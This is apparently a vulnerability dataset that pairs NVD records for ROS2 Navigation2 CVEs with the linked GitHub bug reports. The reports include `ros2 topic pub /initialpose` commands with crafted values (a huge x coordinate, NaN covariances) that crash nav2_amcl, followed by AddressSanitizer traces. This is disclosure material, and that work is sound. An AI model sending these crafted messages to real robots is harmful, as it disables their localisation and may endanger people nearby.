>::removeCallback(std::shared_ptr<message_filters::CallbackHelper1<sensor_msgs::msg::LaserScan_<std::allocator<void> > > > const&) Shadow bytes around the buggy address: 0x0c2e8000d500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2e8000d510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2e8000d520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2e8000d530: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 0x0c2e8000d540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c2e8000d550: fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd 0x0c2e8000d560: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e8000d570: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e8000d580: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e8000d590: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e8000d5a0: fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==145868==ABORTING ``` #### Additional information  ---- it seems that the callback function for laser_scan_message is stiil executing while dynamic parameter changes, and they have some data race.

18 bugs (UAF) in `nav2_amcl` by setting dynamic parameters

https://api.github.com/repos/ros-navigation/navigation2/issues/4379/comments

6

2024-05-30T14:43:04Z

2024-06-05T16:47:20Z

https://github.com/ros-navigation/navigation2/issues/4379

2,325,854,595

4,379

6,447

CVE-2024-38922

2024-12-06T22:15:19.720

Open Robotics Robotic Operating System 2 (ROS2) and Nav2 humble version was discovered to contain a heap overflow in the nav2_amcl process. This vulnerability is triggered via sending a crafted message to the component /initialpose.

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/open-navigation/navigation2/issues/4307" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4294" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4301" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/open-navigation/navigation2/issues/4307" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4294" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "787" ]

787

https://github.com/open-navigation/navigation2/issues/4307

[ "Exploit", "Issue Tracking" ]

github.com

[ "open-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  Ubuntu22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  defaulted #### Steps to reproduce issue  Launch the navigation2 normally, as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` Curious about how nav2 face to topic-interception, i sent validate `/PoseWithCovarianceStamped` msg onto topic `/initialpose`, which is like this: ```sh ros2 topic pub /initialpose geometry_msgs/PoseWithCovarianceStamped " header: frame_id: map stamp: nanosec: 834647291 sec: 1707737088 pose: covariance: - 0.25 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.25 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.06853891909122467 pose: orientation: w: 0.0 x: 0.0 y: 0.0 z: 1.0 position: x: -751613824.000000 y: 0.37812575697898865 z: 0.0" -1 ``` [notice] the value of `x` of the `position` is `-751613824.000000`, which leads to the heap-buffer-overflow. #### Expected behavior #### Actual behavior The ASAN reporting a **stack-buffer-overflow** bug to me as following, and the `nav2_amcl` stop its work. ``` ================================================================= ==424016==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x76a4a2e36758 at pc 0x76a4abfe3c61 bp 0x7ffcfd208690 sp 0x7ffcfd208688 READ of size 8 at 0x76a4a2e36758 thread T0 #0 0x76a4abfe3c60 in pf_cluster_stats (/home/***/nav2_humble/install/nav2_amcl/lib/libpf_lib.so+0x7c60) (BuildId: 92f6f6da07c69e4e8fdb674a2fb2b39a58de9a00) #1 0x76a4abfe21f5 in pf_init (/home/***/nav2_humble/install/nav2_amcl/lib/libpf_lib.so+0x61f5) (BuildId: 92f6f6da07c69e4e8fdb674a2fb2b39a58de9a00) #2 0x76a4ac546df2 in nav2_amcl::AmclNode::handleInitialPose(geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x346df2) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #3 0x76a4ac5446c6 in nav2_amcl::AmclNode::initialPoseReceived(std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x3446c6) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #4 0x76a4ac726d57 in void std::__invoke_impl<void, void (nav2_amcl::AmclNode::*&)(std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >), nav2_amcl::AmclNode*&, std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > > >(std::__invoke_memfun_deref, void (nav2_amcl::AmclNode::*&)(std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >), nav2_amcl::AmclNode*&, std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >&&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x526d57) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #5 0x76a4ac7561cb in auto rclcpp::AnySubscriptionCallback<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, std::allocator<void> >::dispatch(std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >, rclcpp::MessageInfo const&)::'lambda'(auto&&)::operator()<std::function<void (std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >)>&>(auto&&) const (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x5561cb) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #6 0x76a4ac753061 in rclcpp::AnySubscriptionCallback<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, std::allocator<void> >::dispatch(std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >, rclcpp::MessageInfo const&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x553061) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #7 0x76a4ac72fc34 in rclcpp::Subscription<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, std::allocator<void>, geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, rclcpp::message_memory_strategy::MessageMemoryStrategy<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, std::allocator<void> > >::handle_message(std::shared_ptr<void>&, rclcpp::MessageInfo const&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x52fc34) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #8 0x76a4ad6257bb in rclcpp::Executor::execute_subscription(std::shared_ptr<rclcpp::SubscriptionBase>) (/opt/ros/humble/lib/librclcpp.so+0xe77bb) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #9 0x76a4ad625fbe in rclcpp::Executor::execute_any_executable(rclcpp::AnyExecutable&) (/opt/ros/humble/lib/librclcpp.so+0xe7fbe) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #10 0x76a4ad62d8af in rclcpp::executors::SingleThreadedExecutor::spin() (/opt/ros/humble/lib/librclcpp.so+0xef8af) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #11 0x76a4ad62dac4 in rclcpp::spin(std::shared_ptr<rclcpp::node_interfaces::NodeBaseInterface>) (/opt/ros/humble/lib/librclcpp.so+0xefac4) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #12 0x64f0866154cd in main (/home/***/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0xe84cd) (BuildId: 6374af6c6a02284720c5116aa2ef067ebdd75367) #13 0x76a4ab829d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #14 0x76a4ab829e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #15 0x64f0865545e4 in _start (/home/***/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0x275e4) (BuildId: 6374af6c6a02284720c5116aa2ef067ebdd75367) 0x76a4a2e36758 is located 168 bytes to the left of 352000-byte region [0x76a4a2e36800,0x76a4a2e8c700) allocated by thread T0 here: #0 0x64f0865d7618 in __interceptor_calloc (/home/***/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0xaa618) (BuildId: 6374af6c6a02284720c5116aa2ef067ebdd75367) #1 0x76a4abfe1759 in pf_alloc (/home/***/nav2_humble/install/nav2_amcl/lib/libpf_lib.so+0x5759) (BuildId: 92f6f6da07c69e4e8fdb674a2fb2b39a58de9a00) #2 0x76a4ac532d69 in nav2_amcl::AmclNode::on_configure(rclcpp_lifecycle::State const&) (/home/***/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x332d69) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #3 0x76a4ad523b8c (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x28b8c) (BuildId: e9b8e454bf87aaab775667b79aefcab12c018de9) SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/***/nav2_humble/install/nav2_amcl/lib/libpf_lib.so+0x7c60) (BuildId: 92f6f6da07c69e4e8fdb674a2fb2b39a58de9a00) in pf_cluster_stats Shadow bytes around the buggy address: 0x0ed5145bec90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ed5145beca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ed5145becb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ed5145becc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ed5145becd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0ed5145bece0: fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa 0x0ed5145becf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ed5145bed00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ed5145bed10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ed5145bed20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ed5145bed30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==424016==ABORTING ``` #### Additional information  ---- it seems like that a high value of `x` could lead to such bug...

some special msg onto `/initialpose` could lead to heap-buffer-overflow bug

https://api.github.com/repos/ros-navigation/navigation2/issues/4307/comments

10

2024-05-07T10:32:09Z

2024-06-11T15:39:28Z

https://github.com/ros-navigation/navigation2/issues/4307

2,282,891,923

4,307

6,448

CVE-2024-38922

2024-12-06T22:15:19.720

Open Robotics Robotic Operating System 2 (ROS2) and Nav2 humble version was discovered to contain a heap overflow in the nav2_amcl process. This vulnerability is triggered via sending a crafted message to the component /initialpose.

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/open-navigation/navigation2/issues/4307" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4294" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4301" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/open-navigation/navigation2/issues/4307" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4294" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "787" ]

787

https://github.com/ros-navigation/navigation2/issues/4294

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  Ubuntu22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  defaulted #### Steps to reproduce issue  Launch the navigation2 normally, as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` Curious about how nav2 face to topic-interception, i sent validate `/PoseWithCovarianceStamped` msg onto topic `/initialpose`, which is like this: ```sh ros2 topic pub /initialpose geometry_msgs/PoseWithCovarianceStamped " header: frame_id: map stamp: nanosec: 146734875 sec: 1711029956 pose: covariance: - 0.25 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - .nan - 0.0 - .nan - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 1.8985442697712696e-305 - 0.0 - 0.0 - 0.0 - 0.0 - 0.0 - 0.000000 - 0.0 - 0.0 - 0.06853891909122467 pose: orientation: w: 0.9440542194053062 x: 0.0 y: 0.0 z: -0.32979028309372299 position: x: 0.50010401010515571 y: 1.7468730211257935 z: 0.0" -1 ``` [notice] here's some `.nan` value in such validate message. #### Expected behavior #### Actual behavior The ASAN reporting a **stack-buffer-overflow** bug to me as following, and the `nav2_amcl` stop its work. ``` ================================================================= ==8261==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffded1003f8 at pc 0x7b4da0922499 bp 0x7ffded100030 sp 0x7ffded100028 READ of size 8 at 0x7ffded1003f8 thread T0 #0 0x7b4da0922498 in eigen_decomposition (/home/***/nav2/install/nav2_amcl/lib/libpf_lib.so+0x10498) (BuildId: 92f6f6da07c69e4e8fdb674a2fb2b39a58de9a00) #1 0x7b4da091fca5 in pf_matrix_unitary (/home/***/nav2/install/nav2_amcl/lib/libpf_lib.so+0xdca5) (BuildId: 92f6f6da07c69e4e8fdb674a2fb2b39a58de9a00) #2 0x7b4da091ea8f in pf_pdf_gaussian_alloc (/home/***/nav2/install/nav2_amcl/lib/libpf_lib.so+0xca8f) (BuildId: 92f6f6da07c69e4e8fdb674a2fb2b39a58de9a00) #3 0x7b4da0917fa3 in pf_init (/home/***/nav2/install/nav2_amcl/lib/libpf_lib.so+0x5fa3) (BuildId: 92f6f6da07c69e4e8fdb674a2fb2b39a58de9a00) #4 0x7b4da0f46df2 in nav2_amcl::AmclNode::handleInitialPose(geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >&) (/home/***/nav2/install/nav2_amcl/lib/libamcl_core.so+0x346df2) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #5 0x7b4da0f446c6 in nav2_amcl::AmclNode::initialPoseReceived(std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >) (/home/***/nav2/install/nav2_amcl/lib/libamcl_core.so+0x3446c6) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #6 0x7b4da1126d57 in void std::__invoke_impl<void, void (nav2_amcl::AmclNode::*&)(std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >), nav2_amcl::AmclNode*&, std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > > >(std::__invoke_memfun_deref, void (nav2_amcl::AmclNode::*&)(std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >), nav2_amcl::AmclNode*&, std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >&&) (/home/***/nav2/install/nav2_amcl/lib/libamcl_core.so+0x526d57) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #7 0x7b4da11561cb in auto rclcpp::AnySubscriptionCallback<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, std::allocator<void> >::dispatch(std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >, rclcpp::MessageInfo const&)::'lambda'(auto&&)::operator()<std::function<void (std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >)>&>(auto&&) const (/home/***/nav2/install/nav2_amcl/lib/libamcl_core.so+0x5561cb) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #8 0x7b4da1153061 in rclcpp::AnySubscriptionCallback<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, std::allocator<void> >::dispatch(std::shared_ptr<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> > >, rclcpp::MessageInfo const&) (/home/***/nav2/install/nav2_amcl/lib/libamcl_core.so+0x553061) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #9 0x7b4da112fc34 in rclcpp::Subscription<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, std::allocator<void>, geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, rclcpp::message_memory_strategy::MessageMemoryStrategy<geometry_msgs::msg::PoseWithCovarianceStamped_<std::allocator<void> >, std::allocator<void> > >::handle_message(std::shared_ptr<void>&, rclcpp::MessageInfo const&) (/home/***/nav2/install/nav2_amcl/lib/libamcl_core.so+0x52fc34) (BuildId: ef8b35bb0836c058bcbcd5d12c39479c3c6c37be) #10 0x7b4da1f5c7bb in rclcpp::Executor::execute_subscription(std::shared_ptr<rclcpp::SubscriptionBase>) (/opt/ros/humble/lib/librclcpp.so+0xe77bb) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #11 0x7b4da1f5cfbe in rclcpp::Executor::execute_any_executable(rclcpp::AnyExecutable&) (/opt/ros/humble/lib/librclcpp.so+0xe7fbe) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #12 0x7b4da1f648af in rclcpp::executors::SingleThreadedExecutor::spin() (/opt/ros/humble/lib/librclcpp.so+0xef8af) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #13 0x7b4da1f64ac4 in rclcpp::spin(std::shared_ptr<rclcpp::node_interfaces::NodeBaseInterface>) (/opt/ros/humble/lib/librclcpp.so+0xefac4) (BuildId: 4cca8a387f3c93d38a0567a8efc7cba9106f5d9a) #14 0x5f22ccd704cd in main (/home/***/nav2/install/nav2_amcl/lib/nav2_amcl/amcl+0xe84cd) (BuildId: 6374af6c6a02284720c5116aa2ef067ebdd75367) #15 0x7b4da0229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #16 0x7b4da0229e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #17 0x5f22cccaf5e4 in _start (/home/***/nav2/install/nav2_amcl/lib/nav2_amcl/amcl+0x275e4) (BuildId: 6374af6c6a02284720c5116aa2ef067ebdd75367) Address 0x7ffded1003f8 is located in stack of thread T0 at offset 280 in frame #0 0x7b4da091facf in pf_matrix_unitary (/home/***/nav2/install/nav2_amcl/lib/libpf_lib.so+0xdacf) (BuildId: 92f6f6da07c69e4e8fdb674a2fb2b39a58de9a00) This frame has 4 object(s): [32, 104) 'a.byval' [144, 216) 'aa' (line 237) [256, 280) 'eval' (line 238) <== Memory access at offset 280 overflows this variable [320, 392) 'evec' (line 239) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/***/nav2/install/nav2_amcl/lib/libpf_lib.so+0x10498) (BuildId: 92f6f6da07c69e4e8fdb674a2fb2b39a58de9a00) in eigen_decomposition Shadow bytes around the buggy address: 0x10003da18020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003da18030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003da18040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003da18050: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 0x10003da18060: 00 00 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00 =>0x10003da18070: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00 00[f2] 0x10003da18080: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 f3 f3 f3 0x10003da18090: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 0x10003da180a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003da180b0: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 f2 0x10003da180c0: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 f2 f2 f2 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==8261==ABORTING ``` #### Additional information  ---- It could confirmed that the bug was caused by the value `.nan` of such validate message similar issue and PR: #4177 #4276

validate msg onto `/initialpose` would result in a stack-buffer-overflow bug in `nav2_amcl`

https://api.github.com/repos/ros-navigation/navigation2/issues/4294/comments

1

2024-05-03T12:07:57Z

2024-05-09T05:44:07Z

https://github.com/ros-navigation/navigation2/issues/4294

2,277,546,456

4,294

6,449

CVE-2024-41644

2024-12-06T22:15:20.450

Insecure Permissions vulnerability in Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble allows an attacker to execute arbitrary code via the dyn_param_handler_ component.

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4496" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4521" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4496" } ]

